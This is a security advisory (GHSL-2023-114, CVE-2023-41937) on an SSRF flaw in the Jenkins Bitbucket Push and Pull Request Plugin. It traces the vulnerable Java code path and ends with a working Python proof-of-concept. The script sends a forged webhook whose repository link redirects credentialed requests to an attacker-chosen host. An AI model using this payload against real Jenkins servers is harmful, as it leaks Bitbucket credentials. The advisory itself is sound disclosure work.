Coordinated Disclosure Timeline
- 2023-05-18: Reported to Jenkins security team.
- 2023-09-06: Advisory published.
Summary
Bitbucket Push and Pull Request Plugin provides a webhook endpoint at /bitbucket-hook/
that can be used to trigger builds of jobs configured to use a specified repository.
In Bitbucket Plugin 2.8.3 and earlier, when a build is triggered in this way, attackers can force a connection to an arbitrary URL using the configured Bitbucket credentials.
Product
Bitbucket Push and Pull Request Plugin
Tested Version
Details
Server-Side Request Forgery in BitBucketPPRBearerAuthorizationApiConsumer.java
(GHSL-2023-114
)
The class that handles incoming webhooks at the endpoint /bitbucket-hook/
is BitBucketPPRHookReceiver
, specifically its doIndex
method. The webhook payload is processed by a BitBucketPPRPayloadProcessor
determined by the x-event-key
header.
Regardless of the processor used, a build is attempted using the BitBucketPPRJobProbe.triggerMatchingJobs
method, which calls triggerScm
:
src/main/java/io/jenkins/plugins/bitbucketpushandpullrequest/BitBucketPPRJobProbe.java:67
public void triggerMatchingJobs(BitBucketPPRHookEvent bitbucketEvent,
BitBucketPPRAction bitbucketAction, BitBucketPPRObservable observable) {
// --snip--
try (ACLContext ctx = ACL.as(ACL.SYSTEM)) {
Jenkins.get().getAllItems(Job.class).stream().forEach(job -> {
try {
triggerScm(job, remotes, bitbucketEvent, bitbucketAction, observable);
}
// --snip--
});
}
}
triggerScm
checks whether the job in Jenkins has the appropriate SCM trigger and eventually calls BitBucketPPRTrigger.onPost
:
src/main/java/io/jenkins/plugins/bitbucketpushandpullrequest/BitBucketPPRTrigger.java:112
private void triggerScm(@Nonnull Job<?, ?> job, List<URIish> remotes,
BitBucketPPRHookEvent bitbucketEvent, BitBucketPPRAction bitbucketAction,
BitBucketPPRObservable observable) throws TriggerNotSetException {
BitBucketPPRTrigger bitbucketTrigger = getBitBucketTrigger(job)
.orElseThrow(() -> new TriggerNotSetException(job.getFullDisplayName()));
// @todo shouldn't be an instance variable?
List<SCM> scmTriggered = new ArrayList<>();
Optional<SCMTriggerItem> item =
Optional.ofNullable(SCMTriggerItem.SCMTriggerItems.asSCMTriggerItem(job));
item.ifPresent(it -> it.getSCMs().stream().forEach(scmTrigger -> {
// --snip--
if (remotes.stream().anyMatch(p) && !scmTriggered.contains(scmTrigger)) {
scmTriggered.add(scmTrigger);
try {
bitbucketTrigger.onPost(bitbucketEvent, bitbucketAction, scmTrigger, observable);
return;
}
// --snip--
}
}));
}
There, a BitBucketPPRPollingRunnable
is executed, tasked with polling the remote repository and scheduling the build if more conditions are met in shouldScheduleJob
(namely, that the specified repository and branch exist, and that there have been changes since the last build, or builds without changes are allowed in the job). If the check passes, the build is run in scheduleJob
:
src/main/java/io/jenkins/plugins/bitbucketpushandpullrequest/BitBucketPPRTrigger.java:179
private void scheduleJob(BitBucketPPRTriggerCause cause, BitBucketPPRAction bitbucketAction,
SCM scmTrigger, BitBucketPPRObservable observable, BitBucketPPRTriggerFilter filter)
throws URISyntaxException {
// --snip--
try {
// --snip--
observable.notifyObservers(BitBucketPPREventFactory.createEvent(
BitBucketPPREventType.BUILD_STARTED,
new BitBucketPPREventContext(this, bitbucketAction, scmTrigger, startedBuild, filter)));
Run<?, ?> run = (Run<?, ?>) f.get();
if (f.isDone()) {
observable.notifyObservers(
BitBucketPPREventFactory.createEvent(BitBucketPPREventType.BUILD_FINISHED,
new BitBucketPPREventContext(this, bitbucketAction, scmTrigger, run, filter)));
}
}
// --snip--
}
What we are interested in are the calls to notifyObservers
that happen when the build is triggered and when it finishes:
public void notifyObservers(BitBucketPPREvent event) {
// --snip--
for (BitBucketPPRObserver observer : this.observers) {
if (observer != null && event != null) {
// --snip--
observer.getNotification(event);
}
// --snip--
}
}
The implementation of getNotification
is identical for all BitBucketPPRHandlerTemplate
s:
public void getNotification(BitBucketPPREvent event) {
context = event.getContext();
event.setEventHandler(this);
event.runHandler();
}
Likewise for the implementations of BitBucketPPREvent.runHandler
:
e.g. src/main/java/io/jenkins/plugins/bitbucketpushandpullrequest/event/BitBucketPPRBuildStarted.java:45
public void runHandler() {
try {
handler.run(BitBucketPPREventType.BUILD_STARTED);
}
// --snip--
}
public void run(BitBucketPPREventType eventType) throws Exception {
BitBucketPPRPluginConfig config = getGlobalConfig();
switch (eventType) {
case BUILD_STARTED:
if (config.shouldNotifyBitBucket()) {
setBuildStatusInProgress();
}
break;
case BUILD_FINISHED:
if (config.shouldNotifyBitBucket()) {
setBuildStatusOnFinished();
setApprovedOrDeclined();
}
break;
default:
throw new Exception();
}
}
setBuildStatusInProgress
and setBuildStatusOnFinished
are interesting for push
events (both cloud
and server
types), because a notification is sent to a URL (or several) built from data included in the event payload (the getCommitLinks
method extracts data from user-provided links
JSON objects):
@Override
public void setBuildStatusOnFinished() {
// --snip--
bitbucketAction.getCommitLinks().forEach(l -> callClient(l.concat("/statuses/build"), map));
}
@Override
public void setBuildStatusInProgress() {
// --snip--
bitbucketAction.getCommitLinks().forEach(l -> callClient(l.concat("/statuses/build"), map));
}
callClient
is interesting, because it’s instantiating a BitBucketPPRClient
to make an outbound request using the url
that comes from the event payload:
protected void callClient(@Nonnull Verb verb, @Nonnull String url,
@Nonnull Map<String, String> payload) {
ObjectMapper objectMapper = new ObjectMapper();
try {
String jsonPayload = payload.isEmpty() ? "" : objectMapper.writeValueAsString(payload);
BitBucketPPRClientFactory.createClient(clientType, context).send(verb, url, jsonPayload);
}
// --snip--
}
See how the user-provided url
object reaches BitBucketPPRClientVisitor.send
, the implementations of which eventually use it to make an HTTP request that includes credentials:
public HttpResponse send(StandardUsernamePasswordCredentials credentials, Verb verb, String url,
String payload) throws IOException, NoSuchMethodException {
logger.finest("Send state notification with StandardUsernamePasswordCredentials");
final UsernamePasswordCredentials httpAuthCredentials = new UsernamePasswordCredentials(
credentials.getUsername(), credentials.getPassword().getPlainText());
final String authHeader =
getAuthHeader(credentials.getUsername(), credentials.getPassword().getPlainText());
final org.apache.http.client.CredentialsProvider provider = new BasicCredentialsProvider();
provider.setCredentials(AuthScope.ANY, httpAuthCredentials);
final HttpClient client =
HttpClientBuilder.create().setDefaultCredentialsProvider(provider).build();
if (verb == Verb.POST) {
final HttpPost request = new HttpPost(url);
request.setHeader(HttpHeaders.AUTHORIZATION, authHeader);
request.setHeader("X-Atlassian-Token", "nocheck");
// --snip--
return client.execute(request);
}
if (verb == Verb.DELETE) {
final HttpDelete request = new HttpDelete(url);
request.setHeader(HttpHeaders.AUTHORIZATION, authHeader);
request.setHeader("X-Atlassian-Token", "nocheck");
return client.execute(request);
}
throw new NoSuchMethodException();
}
As for pull request events (pullrequest
and pr
) a path to callClient
exists through setApprovedOrDeclined
after setBuildStatusOnFinished
has run (note that url
comes from bitbucketAction.getLinkApprove()
, again under user control):
@Override
public void setApprovedOrDeclined() {
// --snip--
Result result = context.getRun().getResult();
BitBucketPPRAction bitbucketAction = context.getAction();
Map<String, String> map = new HashMap<>();
String url = null;
if (context.getFilter().shouldSendApprove()) {
url = bitbucketAction.getLinkApprove();
Verb verb = Verb.POST;
if (result == Result.FAILURE) {
verb = Verb.DELETE;
}
callClient(verb, url, map);
}
// --snip--
}
Impact
This vulnerability can lead to credentials leak.
Resources
To reproduce this issue, the following script can be used (assuming there’s a Job in Jenkins with the appropriate Bitbucket SCM trigger configured):
import requests
url = "http://localhost:8080/jenkins/bitbucket-hook/"
headers = {
"X-Event-Key": "repo:refs_changed"
}
account = {
"name": "(username)"
}
repository = {
"public": False,
"slug": "(org_name)/(project_name)",
"id": "",
"name": "",
"scmId": "git",
"state": "",
"statusMessage": "",
"forkable": False,
"project": {
"key": "",
"id": "",
"name": "",
"links": {
"html": {
"href": "https://bitbucket.org/(org_name)/(project_name)/"
},
"self": [{
"href": "http://localhost:8000/(org_name)/(project_name)/"
}],
"clone": [{
"href": "https://bitbucket.org/(org_name)/(project_name)/",
"name": "https"
}]
}
},
"links": {
"html": {
"href": "https://bitbucket.org/(org_name)/(project_name)/"
},
"self": [{
"href": "https://bitbucket.org/(org_name)/(project_name)/"
}],
"clone": [{
"href": "https://bitbucket.org/(org_name)/(project_name)/",
"name": "https"
}]
}
}
payload = {
"actor": account,
"repository": repository,
"changes": [
{
"ref": {
"id": "",
"displayId": "",
"type": ""
},
"refId": "",
"fromHash": "",
"toHash": "",
"type": "update"
}
],
"pullrequest": {
"author": account,
"source": {
"branch": {"name": "main"},
"repository": repository
},
"destination": {
"branch": {"name": "main"},
"repository": repository
}
}
}
r = requests.post(url, headers=headers, json=payload)
print(r.text)
The SSRF payload is in the repository.project.links.self.href
object (a request will be received at localhost:8000
containing the Bitbucket credentials in the Authorization
header).
Note that this exploits a server push event type, but as described above, cloud and pull request events can be used too.
Also keep in mind that, for the notification connection to be established, a build must be triggered first. This will only happen if there have been changes in the repository since the last build, or if the SCM trigger is configured in Jenkins to allow builds when nothing changed. In case the configuration requires a change to have happened, an attacker can keep sending the event repeatedly, and try to win a race condition against the actual SCM when a change actually happens and a real webhook event is sent to Jenkins.
CVE
- CVE-2023-41937
Resources
Credit
This issue was discovered and reported by the GHSL team members @pwntester (Alvaro Muñoz) and @atorralba (Tony Torralba).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-114
in any communication regarding this issue.